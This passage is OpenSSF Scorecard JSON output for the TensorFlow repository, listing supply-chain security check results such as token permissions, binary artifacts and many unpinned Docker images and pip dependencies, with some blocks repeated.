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2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dangerous-workflow"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dependency-update-tool"}},{"name":"Token-Permissions","score":9,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/issue-on-pr-rollback.yml:30","Info: jobLevel 'contents' permission set to 'read': .github/workflows/issue-on-pr-rollback.yml:28","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/update-nightly.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-cd.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci-extended-cpp.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci-extended.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: 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pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: 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tool.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dependency-update-tool"}},{"name":"Token-Permissions","score":9,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/issue-on-pr-rollback.yml:30","Info: jobLevel 'contents' permission set to 'read': .github/workflows/issue-on-pr-rollback.yml:28","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/update-nightly.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-cd.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci-extended-cpp.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci-extended.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file 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license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: 